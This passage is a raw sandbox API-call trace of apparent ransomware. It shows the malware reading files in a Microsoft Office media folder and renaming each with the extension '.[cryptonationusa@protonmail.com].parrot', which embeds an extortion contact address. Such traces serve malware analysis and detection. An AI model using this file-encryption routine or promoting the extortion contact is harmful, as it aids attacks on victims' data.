SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.555] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14528_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14528_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6139f8 | out: hHeap=0x5b0000) returned 1 [0164.559] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.559] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.559] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.560] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x112, lpOverlapped=0x0) returned 1 [0164.560] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.560] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14529_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14529_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6139f8 | out: hHeap=0x5b0000) returned 1 [0164.564] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.564] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.565] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.565] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x13c, lpOverlapped=0x0) returned 1 [0164.565] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.566] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14530_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14530_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6049a8 | out: hHeap=0x5b0000) returned 1 [0164.570] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.570] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.571] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.571] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf5, lpOverlapped=0x0) returned 1 [0164.571] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.571] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14531_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14531_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0164.576] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.576] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.577] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.577] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf5, lpOverlapped=0x0) returned 1 [0164.577] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.578] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14532_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14532_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0164.582] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.582] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.583] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.584] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf5, lpOverlapped=0x0) returned 1 [0164.584] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.584] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14533_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14533_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0164.589] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.590] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.591] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.591] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb7, lpOverlapped=0x0) returned 1 [0164.591] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.591] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14565_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14565_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0164.595] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.595] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.596] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.596] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc8, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc8, lpOverlapped=0x0) returned 1 [0164.596] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.596] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14578_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14578_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9268 | out: hHeap=0x5b0000) returned 1 [0164.600] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.600] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.601] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.601] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x10b, lpOverlapped=0x0) returned 1 [0164.602] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.602] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14579_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14579_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0164.607] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.607] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.608] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.608] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb9, lpOverlapped=0x0) returned 1 [0164.608] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.608] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14580_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14580_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0164.612] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.612] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.613] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.613] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xce, lpOverlapped=0x0) returned 1 [0164.613] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.613] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14581_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14581_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9268 | out: hHeap=0x5b0000) returned 1 [0164.617] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.617] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.618] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.618] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb9, lpOverlapped=0x0) returned 1 [0164.618] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.618] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14582_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14582_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0164.657] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.657] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.658] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.658] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaf, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xaf, lpOverlapped=0x0) returned 1 [0164.658] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.659] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14583_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14583_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14583_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14583_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645e40 | out: hHeap=0x5b0000) returned 1 [0164.663] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.663] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.664] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.664] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb9, lpOverlapped=0x0) returned 1 [0164.664] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.664] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14654_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14654_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14654_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14654_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.668] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.668] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.668] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0164.682] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.683] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.683] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.684] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xad, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xad, lpOverlapped=0x0) returned 1 [0164.684] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.684] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14655_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14655_.gif"), lpNewFileName="C:\\Program Files\\Microsoft 